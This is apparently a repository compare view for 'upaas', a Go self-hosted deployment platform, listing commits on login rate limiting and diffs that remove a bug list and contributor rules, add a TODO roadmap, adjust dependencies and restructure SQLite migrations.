2 Commits

Author SHA1 Message Date
user
723f7b2cf7 fix: add eviction for stale IP rate limiter entries and Retry-After header
- Store lastSeen timestamp per IP limiter entry
- Lazy sweep removes entries older than 10 minutes on each request
- Add Retry-After header to 429 responses
- Add test for stale entry eviction

Fixes memory leak under sustained attack from many IPs.
2026-02-15 14:18:07 -08:00
clawbot
e8992d2311 Add rate limiting to login endpoint to prevent brute force
Apply per-IP rate limiting (5 attempts/minute) to POST /login using
golang.org/x/time/rate. Returns 429 Too Many Requests when exceeded.

Closes #12
2026-02-15 14:04:52 -08:00
55 changed files with 640 additions and 3503 deletions

180
BUGS.md
View File

@@ -1,180 +0,0 @@
# Bugs in µPaaS
## 1. Potential Race Condition in Log Writing
### Description
In the deployment service, when a deployment fails, the `failDeployment` function calls `writeLogsToFile` which may be called concurrently with the async log writer's flush operations. This could lead to partial or corrupted log files.
### Location
`internal/service/deploy/deploy.go:1169` in `failDeployment` function
### Proposed Fix
1. Add synchronization to ensure only one log write operation occurs at a time
2. Modify the `deploymentLogWriter` to track completion status and prevent concurrent writes
3. Add a wait mechanism in `failDeployment` to ensure any ongoing flush operations complete before writing logs to file
```go
// Add a mutex to deploymentLogWriter
type deploymentLogWriter struct {
// existing fields...
mu sync.Mutex
writeMu sync.Mutex // Add this for file writing synchronization
done chan struct{}
flushed sync.WaitGroup
}
// In writeLogsToFile, ensure exclusive access
func (svc *Service) writeLogsToFile(app *models.App, deployment *models.Deployment) {
svc.writeMu.Lock() // Add this mutex to Service struct
defer svc.writeMu.Unlock()
// existing code...
}
```
## 2. Incomplete Error Handling in Container Operations
### Description
In the Docker client's `performClone` function, if `createGitContainer` fails, the SSH key file created earlier is not cleaned up, causing a potential security risk.
### Location
`internal/docker/client.go:597` in `performClone` function
### Proposed Fix
Add proper cleanup using `defer` immediately after creating the SSH key file:
```go
// After writing SSH key file (line 578)
keyFileCreated := false
err = os.WriteFile(cfg.keyFile, []byte(cfg.sshPrivateKey), sshKeyPermissions)
if err != nil {
return nil, fmt.Errorf("failed to write SSH key: %w", err)
}
keyFileCreated = true
defer func() {
if keyFileCreated {
removeErr := os.Remove(cfg.keyFile)
if removeErr != nil {
c.log.Error("failed to remove SSH key file", "error", removeErr)
}
}
}()
```
## 3. Missing Context Cancellation Check During Build
### Description
In the deployment service's `streamBuildOutput` function, long-running Docker build operations may not properly respond to context cancellation, causing deployments to hang even when cancelled.
### Location
`internal/docker/client.go:542` in `streamBuildOutput` function
### Proposed Fix
Add context checking in the scanner loop:
```go
for scanner.Scan() {
select {
case <-ctx.Done():
return ctx.Err()
default:
}
line := scanner.Bytes()
// existing code...
}
```
## 4. Inconsistent Container Removal in Error Cases
### Description
When deployment fails during container creation, the already-created container is not removed, leading to orphaned containers that consume resources.
### Location
`internal/service/deploy/deploy.go:969` in `createAndStartContainer` function
### Proposed Fix
Add cleanup of created container on start failure:
```go
containerID, err := svc.docker.CreateContainer(ctx, containerOpts)
if err != nil {
svc.notify.NotifyDeployFailed(ctx, app, deployment, err)
svc.failDeployment(ctx, app, deployment, fmt.Errorf("failed to create container: %w", err))
return "", fmt.Errorf("failed to create container: %w", err)
}
// Add cleanup defer for error cases
defer func() {
if err != nil {
// If we have a container ID but returning an error, clean it up
_ = svc.docker.RemoveContainer(context.Background(), containerID, true)
}
}()
startErr := svc.docker.StartContainer(ctx, containerID)
if startErr != nil {
svc.notify.NotifyDeployFailed(ctx, app, deployment, startErr)
svc.failDeployment(ctx, app, deployment, fmt.Errorf("failed to start container: %w", startErr))
err = startErr // Set err so defer cleanup runs
return "", fmt.Errorf("failed to start container: %w", startErr)
}
```
## 5. Potential Data Race in Active Deployments Tracking
### Description
The `activeDeploys` sync.Map in the deployment service may have race conditions when multiple concurrent deployments try to access the same app's deployment state.
### Location
`internal/service/deploy/deploy.go:226` and related functions
### Proposed Fix
Add proper locking around active deploy operations:
```go
// Add a mutex for active deploy operations
type Service struct {
// existing fields...
activeDeployMu sync.Mutex
}
// In Deploy function
func (svc *Service) Deploy(ctx context.Context, app *models.App, webhookEventID *int64, cancelExisting bool) error {
svc.activeDeployMu.Lock()
if cancelExisting {
svc.cancelActiveDeploy(app.ID)
}
// Try to acquire per-app deployment lock
if !svc.tryLockApp(app.ID) {
svc.activeDeployMu.Unlock()
svc.log.Warn("deployment already in progress", "app", app.Name)
return ErrDeploymentInProgress
}
svc.activeDeployMu.Unlock()
defer svc.unlockApp(app.ID)
// rest of function...
}
```
## 6. Incomplete Error Propagation in Git Clone
### Description
In the Docker client's `runGitClone` function, if `ContainerLogs` fails, the error is silently ignored, which could hide important debugging information.
### Location
`internal/docker/client.go:679` in `runGitClone` function
### Proposed Fix
Handle the ContainerLogs error properly:
```go
// Always capture logs for the result
logs, logErr := c.ContainerLogs(ctx, containerID, "100")
if logErr != nil {
c.log.Warn("failed to get git clone logs", "error", logErr)
logs = "Failed to retrieve logs: " + logErr.Error()
}
```

View File

@@ -1,68 +0,0 @@
# Repository Rules
Last Updated 2026-01-08
These rules MUST be followed at all times, it is very important.
* Never use `git add -A` - add specific changes to a deliberate commit. A
commit should contain one change. After each change, make a commit with a
good one-line summary.
* NEVER modify the linter config without asking first.
* NEVER modify tests to exclude special cases or otherwise get them to pass
without asking first. In almost all cases, the code should be changed,
NOT the tests. If you think the test needs to be changed, make your case
for that and ask for permission to proceed, then stop. You need explicit
user approval to modify existing tests. (You do not need user approval
for writing NEW tests.)
* When linting, assume the linter config is CORRECT, and that each item
output by the linter is something that legitimately needs fixing in the
code.
* When running tests, use `make test`.
* Before commits, run `make check`. This runs `make lint` and `make test`
and `make check-fmt`. Any issues discovered MUST be resolved before
committing unless explicitly told otherwise.
* When fixing a bug, write a failing test for the bug FIRST. Add
appropriate logging to the test to ensure it is written correctly. Commit
that. Then go about fixing the bug until the test passes (without
modifying the test further). Then commit that.
* When adding a new feature, do the same - implement a test first (TDD). It
doesn't have to be super complex. Commit the test, then commit the
feature.
* When adding a new feature, use a feature branch. When the feature is
completely finished and the code is up to standards (passes `make check`)
then and only then can the feature branch be merged into `main` and the
branch deleted.
* Write godoc documentation comments for all exported types and functions as
you go along.
* ALWAYS be consistent in naming. If you name something one thing in one
place, name it the EXACT SAME THING in another place.
* Be descriptive and specific in naming. `wl` is bad;
`SourceHostWhitelist` is good. `ConnsPerHost` is bad;
`MaxConnectionsPerHost` is good.
* This is not prototype or teaching code - this is designed for production.
Any security issues (such as denial of service) or other web
vulnerabilities are P1 bugs and must be added to TODO.md at the top.
* As this is production code, no stubbing of implementations unless
specifically instructed. We need working implementations.
* Avoid vendoring deps unless specifically instructed to. NEVER commit
the vendor directory, NEVER commit compiled binaries. If these
directories or files exist, add them to .gitignore (and commit the
.gitignore) if they are not already in there. Keep the entire git
repository (with history) small - under 20MiB, unless you specifically
must commit larger files (e.g. test fixture example media files). Only
OUR source code and immediately supporting files (such as test examples)
goes into the repo/history.

312
TODO.md Normal file
View File

@@ -0,0 +1,312 @@
# UPAAS Implementation Plan
## Feature Roadmap
### Core Infrastructure
- [x] Uber fx dependency injection
- [x] Chi router integration
- [x] Structured logging (slog) with TTY detection
- [x] Configuration via Viper (env vars, config files)
- [x] SQLite database with embedded migrations
- [x] Embedded templates (html/template)
- [x] Embedded static assets (Tailwind CSS, JS)
- [x] Server startup (`Server.Run()`)
- [x] Graceful shutdown (`Server.Shutdown()`)
- [x] Route wiring (`SetupRoutes()`)
### Authentication & Authorization
- [x] Single admin user model
- [x] Argon2id password hashing
- [x] Initial setup flow (create admin on first run)
- [x] Cookie-based session management (gorilla/sessions)
- [x] Session middleware for protected routes
- [x] Login/logout handlers
- [ ] API token authentication (for JSON API)
### App Management
- [x] Create apps with name, repo URL, branch, Dockerfile path
- [x] Edit app configuration
- [x] Delete apps (cascades to related entities)
- [x] List all apps on dashboard
- [x] View app details
- [x] Per-app SSH keypair generation (Ed25519)
- [x] Per-app webhook secret (UUID)
### Container Configuration
- [x] Environment variables (add, delete per app)
- [x] Docker labels (add, delete per app)
- [x] Volume mounts (add, delete per app, with read-only option)
- [x] Docker network configuration per app
- [ ] Edit existing environment variables
- [ ] Edit existing labels
- [ ] Edit existing volume mounts
- [ ] CPU/memory resource limits
### Deployment Pipeline
- [x] Manual deploy trigger from UI
- [x] Repository cloning via Docker git container
- [x] SSH key authentication for private repos
- [x] Docker image building with configurable Dockerfile
- [x] Container creation with env vars, labels, volumes
- [x] Old container removal before new deployment
- [x] Deployment status tracking (building, deploying, success, failed)
- [x] Deployment logs storage
- [x] View deployment history per app
- [x] Container logs viewing
- [ ] Deployment rollback to previous image
- [ ] Deployment cancellation
### Manual Container Controls
- [x] Restart container
- [x] Stop container
- [x] Start stopped container
### Webhook Integration
- [x] Gitea webhook endpoint (`/webhook/:secret`)
- [x] Push event parsing
- [x] Branch extraction from refs
- [x] Branch matching (only deploy configured branch)
- [x] Webhook event audit log
- [x] Automatic deployment on matching webhook
- [ ] Webhook event history UI
- [ ] GitHub webhook support
- [ ] GitLab webhook support
### Health Monitoring
- [x] Health check endpoint (`/health`)
- [x] Application uptime tracking
- [x] Docker container health status checking
- [x] Post-deployment health verification (60s delay)
- [ ] Custom health check commands per app
### Notifications
- [x] ntfy integration (HTTP POST)
- [x] Slack-compatible webhook integration
- [x] Build start/success/failure notifications
- [x] Deploy success/failure notifications
- [x] Priority mapping for notification urgency
### Observability
- [x] Request logging middleware
- [x] Request ID generation
- [x] Sentry error reporting (optional)
- [x] Prometheus metrics endpoint (optional, with basic auth)
- [ ] Structured logging for all operations
- [ ] Deployment count/duration metrics
- [ ] Container health status metrics
- [ ] Webhook event metrics
- [ ] Audit log table for user actions
### API
- [ ] JSON API (`/api/v1/*`)
- [ ] List apps endpoint
- [ ] Get app details endpoint
- [ ] Create app endpoint
- [ ] Delete app endpoint
- [ ] Trigger deploy endpoint
- [ ] List deployments endpoint
- [ ] API documentation
### UI Features
- [x] Server-rendered HTML templates
- [x] Dashboard with app list
- [x] App creation form
- [x] App detail view with all configurations
- [x] App edit form
- [x] Deployment history page
- [x] Login page
- [x] Setup page
- [ ] Container logs page
- [ ] Webhook event history page
- [ ] Settings page (webhook secret, SSH public key)
- [ ] Real-time deployment log streaming (WebSocket/SSE)
### Future Considerations
- [ ] Multi-user support with roles
- [ ] Private Docker registry authentication
- [ ] Scheduled deployments
- [ ] Backup/restore of app configurations
---
## Phase 1: Critical (Application Cannot Start)
### 1.1 Server Startup Infrastructure
- [x] Implement `Server.Run()` in `internal/server/server.go`
- Start HTTP server with configured address/port
- Handle TLS if configured
- Block until shutdown signal received
- [x] Implement `Server.Shutdown()` in `internal/server/server.go`
- Graceful shutdown with context timeout
- Close database connections
- Stop running containers gracefully (optional)
- [x] Implement `SetupRoutes()` in `internal/server/routes.go`
- Wire up chi router with all handlers
- Apply middleware (logging, auth, CORS, metrics)
- Define public vs protected route groups
- Serve static assets and templates
### 1.2 Route Configuration
```
Public Routes:
GET /health
GET /setup, POST /setup
GET /login, POST /login
POST /webhook/:secret
Protected Routes (require auth):
GET /logout
GET /dashboard
GET /apps/new, POST /apps
GET /apps/:id, POST /apps/:id, DELETE /apps/:id
GET /apps/:id/edit, POST /apps/:id/edit
GET /apps/:id/deployments
GET /apps/:id/logs
POST /apps/:id/env-vars, DELETE /apps/:id/env-vars/:id
POST /apps/:id/labels, DELETE /apps/:id/labels/:id
POST /apps/:id/volumes, DELETE /apps/:id/volumes/:id
POST /apps/:id/deploy
```
## Phase 2: High Priority (Core Functionality Gaps)
### 2.1 Container Logs
- [x] Implement `HandleAppLogs()` in `internal/handlers/app.go`
- Fetch logs via Docker API (`ContainerLogs`)
- Support tail parameter (last N lines)
- Stream logs with SSE or chunked response
- [x] Add Docker client method `GetContainerLogs(containerID, tail int) (io.Reader, error)`
### 2.2 Manual Container Controls
- [x] Add `POST /apps/:id/restart` endpoint
- Stop and start container
- Record restart in deployment log
- [x] Add `POST /apps/:id/stop` endpoint
- Stop container without deleting
- Update app status
- [x] Add `POST /apps/:id/start` endpoint
- Start stopped container
- Run health check
## Phase 3: Medium Priority (UX Improvements)
### 3.1 Edit Operations for Related Entities
- [ ] Add `PUT /apps/:id/env-vars/:id` endpoint
- Update existing environment variable value
- Trigger container restart with new env
- [ ] Add `PUT /apps/:id/labels/:id` endpoint
- Update existing Docker label
- [ ] Add `PUT /apps/:id/volumes/:id` endpoint
- Update volume mount paths
- Validate paths before saving
### 3.2 Deployment Rollback
- [ ] Add `previous_image_id` column to apps table
- Store last successful image ID before new deploy
- [ ] Add `POST /apps/:id/rollback` endpoint
- Stop current container
- Start container with previous image
- Create deployment record for rollback
- [ ] Update deploy service to save previous image before building new one
### 3.3 Deployment Cancellation
- [ ] Add cancellation context to deploy service
- [ ] Add `POST /apps/:id/deployments/:id/cancel` endpoint
- [ ] Handle cleanup of partial builds/containers
## Phase 4: Lower Priority (Nice to Have)
### 4.1 JSON API
- [ ] Add `/api/v1` route group with JSON responses
- [ ] Implement API endpoints mirroring web routes:
- `GET /api/v1/apps` - list apps
- `POST /api/v1/apps` - create app
- `GET /api/v1/apps/:id` - get app details
- `DELETE /api/v1/apps/:id` - delete app
- `POST /api/v1/apps/:id/deploy` - trigger deploy
- `GET /api/v1/apps/:id/deployments` - list deployments
- [ ] Add API token authentication (separate from session auth)
- [ ] Document API in README
### 4.2 Resource Limits
- [ ] Add `cpu_limit` and `memory_limit` columns to apps table
- [ ] Add fields to app edit form
- [ ] Pass limits to Docker container create
### 4.3 UI Improvements
- [ ] Add webhook event history page
- Show received webhooks per app
- Display match/no-match status
- [ ] Add settings page
- View/regenerate webhook secret
- View SSH public key
- [ ] Add real-time deployment log streaming
- WebSocket or SSE for live build output
### 4.4 Observability
- [ ] Add structured logging for all operations
- [ ] Add Prometheus metrics for:
- Deployment count/duration
- Container health status
- Webhook events received
- [ ] Add audit log table for user actions
## Phase 5: Future Considerations
- [ ] Multi-user support with roles
- [ ] Private Docker registry authentication
- [ ] Custom health check commands per app
- [ ] Scheduled deployments
- [ ] Backup/restore of app configurations
- [ ] GitHub/GitLab webhook support (in addition to Gitea)
---
## Implementation Notes
### Server.Run() Example
```go
func (s *Server) Run() error {
s.SetupRoutes()
srv := &http.Server{
Addr: s.config.ListenAddr,
Handler: s.router,
}
go func() {
<-s.shutdownCh
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
srv.Shutdown(ctx)
}()
return srv.ListenAndServe()
}
```
### SetupRoutes() Structure
```go
func (s *Server) SetupRoutes() {
r := chi.NewRouter()
// Global middleware
r.Use(s.middleware.RequestID)
r.Use(s.middleware.Logger)
r.Use(s.middleware.Recoverer)
// Public routes
r.Get("/health", s.handlers.HandleHealthCheck())
r.Get("/login", s.handlers.HandleLoginPage())
// ...
// Protected routes
r.Group(func(r chi.Router) {
r.Use(s.middleware.SessionAuth)
r.Get("/dashboard", s.handlers.HandleDashboard())
// ...
})
s.router = r
}
```

3
go.mod
View File

@@ -5,11 +5,9 @@ go 1.25
require ( require (
github.com/99designs/basicauth-go v0.0.0-20230316000542-bf6f9cbbf0f8 github.com/99designs/basicauth-go v0.0.0-20230316000542-bf6f9cbbf0f8
github.com/docker/docker v27.3.1+incompatible github.com/docker/docker v27.3.1+incompatible
github.com/docker/go-connections v0.6.0
github.com/go-chi/chi/v5 v5.2.3 github.com/go-chi/chi/v5 v5.2.3
github.com/go-chi/cors v1.2.2 github.com/go-chi/cors v1.2.2
github.com/google/uuid v1.6.0 github.com/google/uuid v1.6.0
github.com/gorilla/csrf v1.7.3
github.com/gorilla/sessions v1.4.0 github.com/gorilla/sessions v1.4.0
github.com/joho/godotenv v1.5.1 github.com/joho/godotenv v1.5.1
github.com/mattn/go-sqlite3 v1.14.32 github.com/mattn/go-sqlite3 v1.14.32
@@ -29,6 +27,7 @@ require (
github.com/containerd/log v0.1.0 // indirect github.com/containerd/log v0.1.0 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect github.com/davecgh/go-spew v1.1.1 // indirect
github.com/distribution/reference v0.6.0 // indirect github.com/distribution/reference v0.6.0 // indirect
github.com/docker/go-connections v0.6.0 // indirect
github.com/docker/go-units v0.5.0 // indirect github.com/docker/go-units v0.5.0 // indirect
github.com/felixge/httpsnoop v1.0.4 // indirect github.com/felixge/httpsnoop v1.0.4 // indirect
github.com/fsnotify/fsnotify v1.9.0 // indirect github.com/fsnotify/fsnotify v1.9.0 // indirect

2
go.sum
View File

@@ -50,8 +50,6 @@ github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0=
github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/csrf v1.7.3 h1:BHWt6FTLZAb2HtWT5KDBf6qgpZzvtbp9QWDRKZMXJC0=
github.com/gorilla/csrf v1.7.3/go.mod h1:F1Fj3KG23WYHE6gozCmBAezKookxbIvUJT+121wTuLk=
github.com/gorilla/securecookie v1.1.2 h1:YCIWL56dvtr73r6715mJs5ZvhtnY73hBvEF8kXD8ePA= github.com/gorilla/securecookie v1.1.2 h1:YCIWL56dvtr73r6715mJs5ZvhtnY73hBvEF8kXD8ePA=
github.com/gorilla/securecookie v1.1.2/go.mod h1:NfCASbcHqRSY+3a8tlWJwsQap2VX5pwzwo4h3eOamfo= github.com/gorilla/securecookie v1.1.2/go.mod h1:NfCASbcHqRSY+3a8tlWJwsQap2VX5pwzwo4h3eOamfo=
github.com/gorilla/sessions v1.4.0 h1:kpIYOp/oi6MG/p5PgxApU8srsSw9tuFbt46Lt7auzqQ= github.com/gorilla/sessions v1.4.0 h1:kpIYOp/oi6MG/p5PgxApU8srsSw9tuFbt46Lt7auzqQ=

View File

@@ -3,9 +3,7 @@ package database
import ( import (
"context" "context"
"crypto/sha256"
"database/sql" "database/sql"
"encoding/hex"
"fmt" "fmt"
"log/slog" "log/slog"
"os" "os"
@@ -160,65 +158,6 @@ func (d *Database) connect(ctx context.Context) error {
return fmt.Errorf("failed to run migrations: %w", err) return fmt.Errorf("failed to run migrations: %w", err)
} }
// Backfill webhook_secret_hash for any rows that have a secret but no hash
err = d.backfillWebhookSecretHashes(ctx)
if err != nil {
return fmt.Errorf("failed to backfill webhook secret hashes: %w", err)
}
return nil
}
// HashWebhookSecret returns the hex-encoded SHA-256 hash of a webhook secret.
func HashWebhookSecret(secret string) string {
sum := sha256.Sum256([]byte(secret))
return hex.EncodeToString(sum[:])
}
func (d *Database) backfillWebhookSecretHashes(ctx context.Context) error {
rows, err := d.database.QueryContext(ctx,
"SELECT id, webhook_secret FROM apps WHERE webhook_secret_hash = '' AND webhook_secret != ''")
if err != nil {
return fmt.Errorf("querying apps for backfill: %w", err)
}
defer func() { _ = rows.Close() }()
type row struct {
id, secret string
}
var toUpdate []row
for rows.Next() {
var r row
scanErr := rows.Scan(&r.id, &r.secret)
if scanErr != nil {
return fmt.Errorf("scanning app for backfill: %w", scanErr)
}
toUpdate = append(toUpdate, r)
}
rowsErr := rows.Err()
if rowsErr != nil {
return fmt.Errorf("iterating apps for backfill: %w", rowsErr)
}
for _, r := range toUpdate {
hash := HashWebhookSecret(r.secret)
_, updateErr := d.database.ExecContext(ctx,
"UPDATE apps SET webhook_secret_hash = ? WHERE id = ?", hash, r.id)
if updateErr != nil {
return fmt.Errorf("updating webhook_secret_hash for app %s: %w", r.id, updateErr)
}
d.log.Info("backfilled webhook_secret_hash", "app_id", r.id)
}
return nil return nil
} }

View File

@@ -1,28 +0,0 @@
package database_test
import (
"testing"
"github.com/stretchr/testify/assert"
"git.eeqj.de/sneak/upaas/internal/database"
)
func TestHashWebhookSecret(t *testing.T) {
t.Parallel()
// Known SHA-256 of "test-secret"
hash := database.HashWebhookSecret("test-secret")
assert.Equal(t,
"9caf06bb4436cdbfa20af9121a626bc1093c4f54b31c0fa937957856135345b6",
hash,
)
// Different secrets produce different hashes
hash2 := database.HashWebhookSecret("other-secret")
assert.NotEqual(t, hash, hash2)
// Same secret always produces same hash (deterministic)
hash3 := database.HashWebhookSecret("test-secret")
assert.Equal(t, hash, hash3)
}

View File

@@ -1,6 +0,0 @@
-- Initialize migrations table for tracking applied migrations
CREATE TABLE IF NOT EXISTS migrations (
id INTEGER PRIMARY KEY,
name TEXT NOT NULL UNIQUE,
applied_at DATETIME DEFAULT CURRENT_TIMESTAMP
);

View File

@@ -1,8 +1,7 @@
-- Complete schema for upaas (consolidated) -- Initial schema for upaas
-- This represents the final state of all migrations applied
-- Users table (single admin user) -- Users table (single admin user)
CREATE TABLE IF NOT EXISTS users ( CREATE TABLE users (
id INTEGER PRIMARY KEY, id INTEGER PRIMARY KEY,
username TEXT UNIQUE NOT NULL, username TEXT UNIQUE NOT NULL,
password_hash TEXT NOT NULL, password_hash TEXT NOT NULL,
@@ -10,7 +9,7 @@ CREATE TABLE IF NOT EXISTS users (
); );
-- Apps table -- Apps table
CREATE TABLE IF NOT EXISTS apps ( CREATE TABLE apps (
id TEXT PRIMARY KEY, id TEXT PRIMARY KEY,
name TEXT UNIQUE NOT NULL, name TEXT UNIQUE NOT NULL,
repo_url TEXT NOT NULL, repo_url TEXT NOT NULL,
@@ -19,19 +18,18 @@ CREATE TABLE IF NOT EXISTS apps (
webhook_secret TEXT NOT NULL, webhook_secret TEXT NOT NULL,
ssh_private_key TEXT NOT NULL, ssh_private_key TEXT NOT NULL,
ssh_public_key TEXT NOT NULL, ssh_public_key TEXT NOT NULL,
container_id TEXT,
image_id TEXT, image_id TEXT,
previous_image_id TEXT,
status TEXT DEFAULT 'pending', status TEXT DEFAULT 'pending',
docker_network TEXT, docker_network TEXT,
ntfy_topic TEXT, ntfy_topic TEXT,
slack_webhook TEXT, slack_webhook TEXT,
webhook_secret_hash TEXT NOT NULL DEFAULT '',
created_at DATETIME DEFAULT CURRENT_TIMESTAMP, created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
updated_at DATETIME DEFAULT CURRENT_TIMESTAMP updated_at DATETIME DEFAULT CURRENT_TIMESTAMP
); );
-- App environment variables -- App environment variables
CREATE TABLE IF NOT EXISTS app_env_vars ( CREATE TABLE app_env_vars (
id INTEGER PRIMARY KEY, id INTEGER PRIMARY KEY,
app_id TEXT NOT NULL REFERENCES apps(id) ON DELETE CASCADE, app_id TEXT NOT NULL REFERENCES apps(id) ON DELETE CASCADE,
key TEXT NOT NULL, key TEXT NOT NULL,
@@ -40,7 +38,7 @@ CREATE TABLE IF NOT EXISTS app_env_vars (
); );
-- App labels -- App labels
CREATE TABLE IF NOT EXISTS app_labels ( CREATE TABLE app_labels (
id INTEGER PRIMARY KEY, id INTEGER PRIMARY KEY,
app_id TEXT NOT NULL REFERENCES apps(id) ON DELETE CASCADE, app_id TEXT NOT NULL REFERENCES apps(id) ON DELETE CASCADE,
key TEXT NOT NULL, key TEXT NOT NULL,
@@ -49,7 +47,7 @@ CREATE TABLE IF NOT EXISTS app_labels (
); );
-- App volume mounts -- App volume mounts
CREATE TABLE IF NOT EXISTS app_volumes ( CREATE TABLE app_volumes (
id INTEGER PRIMARY KEY, id INTEGER PRIMARY KEY,
app_id TEXT NOT NULL REFERENCES apps(id) ON DELETE CASCADE, app_id TEXT NOT NULL REFERENCES apps(id) ON DELETE CASCADE,
host_path TEXT NOT NULL, host_path TEXT NOT NULL,
@@ -57,24 +55,13 @@ CREATE TABLE IF NOT EXISTS app_volumes (
readonly INTEGER DEFAULT 0 readonly INTEGER DEFAULT 0
); );
-- App port mappings
CREATE TABLE IF NOT EXISTS app_ports (
id INTEGER PRIMARY KEY,
app_id TEXT NOT NULL REFERENCES apps(id) ON DELETE CASCADE,
host_port INTEGER NOT NULL,
container_port INTEGER NOT NULL,
protocol TEXT NOT NULL DEFAULT 'tcp' CHECK(protocol IN ('tcp', 'udp')),
UNIQUE(host_port, protocol)
);
-- Webhook events log -- Webhook events log
CREATE TABLE IF NOT EXISTS webhook_events ( CREATE TABLE webhook_events (
id INTEGER PRIMARY KEY, id INTEGER PRIMARY KEY,
app_id TEXT NOT NULL REFERENCES apps(id) ON DELETE CASCADE, app_id TEXT NOT NULL REFERENCES apps(id) ON DELETE CASCADE,
event_type TEXT NOT NULL, event_type TEXT NOT NULL,
branch TEXT NOT NULL, branch TEXT NOT NULL,
commit_sha TEXT, commit_sha TEXT,
commit_url TEXT,
payload TEXT, payload TEXT,
matched INTEGER NOT NULL, matched INTEGER NOT NULL,
processed INTEGER DEFAULT 0, processed INTEGER DEFAULT 0,
@@ -82,13 +69,13 @@ CREATE TABLE IF NOT EXISTS webhook_events (
); );
-- Deployments log -- Deployments log
CREATE TABLE IF NOT EXISTS deployments ( CREATE TABLE deployments (
id INTEGER PRIMARY KEY, id INTEGER PRIMARY KEY,
app_id TEXT NOT NULL REFERENCES apps(id) ON DELETE CASCADE, app_id TEXT NOT NULL REFERENCES apps(id) ON DELETE CASCADE,
webhook_event_id INTEGER REFERENCES webhook_events(id), webhook_event_id INTEGER REFERENCES webhook_events(id),
commit_sha TEXT, commit_sha TEXT,
commit_url TEXT,
image_id TEXT, image_id TEXT,
container_id TEXT,
status TEXT NOT NULL, status TEXT NOT NULL,
logs TEXT, logs TEXT,
started_at DATETIME DEFAULT CURRENT_TIMESTAMP, started_at DATETIME DEFAULT CURRENT_TIMESTAMP,
@@ -96,14 +83,12 @@ CREATE TABLE IF NOT EXISTS deployments (
); );
-- Indexes -- Indexes
CREATE INDEX IF NOT EXISTS idx_apps_status ON apps(status); CREATE INDEX idx_apps_status ON apps(status);
CREATE INDEX IF NOT EXISTS idx_apps_webhook_secret ON apps(webhook_secret); CREATE INDEX idx_apps_webhook_secret ON apps(webhook_secret);
CREATE INDEX IF NOT EXISTS idx_apps_webhook_secret_hash ON apps(webhook_secret_hash); CREATE INDEX idx_app_env_vars_app_id ON app_env_vars(app_id);
CREATE INDEX IF NOT EXISTS idx_app_env_vars_app_id ON app_env_vars(app_id); CREATE INDEX idx_app_labels_app_id ON app_labels(app_id);
CREATE INDEX IF NOT EXISTS idx_app_labels_app_id ON app_labels(app_id); CREATE INDEX idx_app_volumes_app_id ON app_volumes(app_id);
CREATE INDEX IF NOT EXISTS idx_app_volumes_app_id ON app_volumes(app_id); CREATE INDEX idx_webhook_events_app_id ON webhook_events(app_id);
CREATE INDEX IF NOT EXISTS idx_app_ports_app_id ON app_ports(app_id); CREATE INDEX idx_webhook_events_created_at ON webhook_events(created_at);
CREATE INDEX IF NOT EXISTS idx_webhook_events_app_id ON webhook_events(app_id); CREATE INDEX idx_deployments_app_id ON deployments(app_id);
CREATE INDEX IF NOT EXISTS idx_webhook_events_created_at ON webhook_events(created_at); CREATE INDEX idx_deployments_started_at ON deployments(started_at);
CREATE INDEX IF NOT EXISTS idx_deployments_app_id ON deployments(app_id);
CREATE INDEX IF NOT EXISTS idx_deployments_started_at ON deployments(started_at);

View File

@@ -0,0 +1,44 @@
-- Remove container_id from apps table
-- Container is now looked up via Docker label (upaas.id) instead of stored in database
-- SQLite doesn't support DROP COLUMN before version 3.35.0 (2021-03-12)
-- Use table rebuild for broader compatibility
-- Create new table without container_id
CREATE TABLE apps_new (
id TEXT PRIMARY KEY,
name TEXT UNIQUE NOT NULL,
repo_url TEXT NOT NULL,
branch TEXT NOT NULL DEFAULT 'main',
dockerfile_path TEXT DEFAULT 'Dockerfile',
webhook_secret TEXT NOT NULL,
ssh_private_key TEXT NOT NULL,
ssh_public_key TEXT NOT NULL,
image_id TEXT,
status TEXT DEFAULT 'pending',
docker_network TEXT,
ntfy_topic TEXT,
slack_webhook TEXT,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
updated_at DATETIME DEFAULT CURRENT_TIMESTAMP
);
-- Copy data (excluding container_id)
INSERT INTO apps_new (
id, name, repo_url, branch, dockerfile_path, webhook_secret,
ssh_private_key, ssh_public_key, image_id, status,
docker_network, ntfy_topic, slack_webhook, created_at, updated_at
)
SELECT
id, name, repo_url, branch, dockerfile_path, webhook_secret,
ssh_private_key, ssh_public_key, image_id, status,
docker_network, ntfy_topic, slack_webhook, created_at, updated_at
FROM apps;
-- Drop old table and rename new one
DROP TABLE apps;
ALTER TABLE apps_new RENAME TO apps;
-- Recreate indexes
CREATE INDEX idx_apps_status ON apps(status);
CREATE INDEX idx_apps_webhook_secret ON apps(webhook_secret);

View File

@@ -0,0 +1,12 @@
-- Add port mappings for apps
CREATE TABLE app_ports (
id INTEGER PRIMARY KEY,
app_id TEXT NOT NULL REFERENCES apps(id) ON DELETE CASCADE,
host_port INTEGER NOT NULL,
container_port INTEGER NOT NULL,
protocol TEXT NOT NULL DEFAULT 'tcp' CHECK(protocol IN ('tcp', 'udp')),
UNIQUE(host_port, protocol)
);
CREATE INDEX idx_app_ports_app_id ON app_ports(app_id);

View File

@@ -0,0 +1,3 @@
-- Add commit_url column to webhook_events and deployments tables
ALTER TABLE webhook_events ADD COLUMN commit_url TEXT;
ALTER TABLE deployments ADD COLUMN commit_url TEXT;

View File

@@ -10,7 +10,6 @@ import (
"log/slog" "log/slog"
"os" "os"
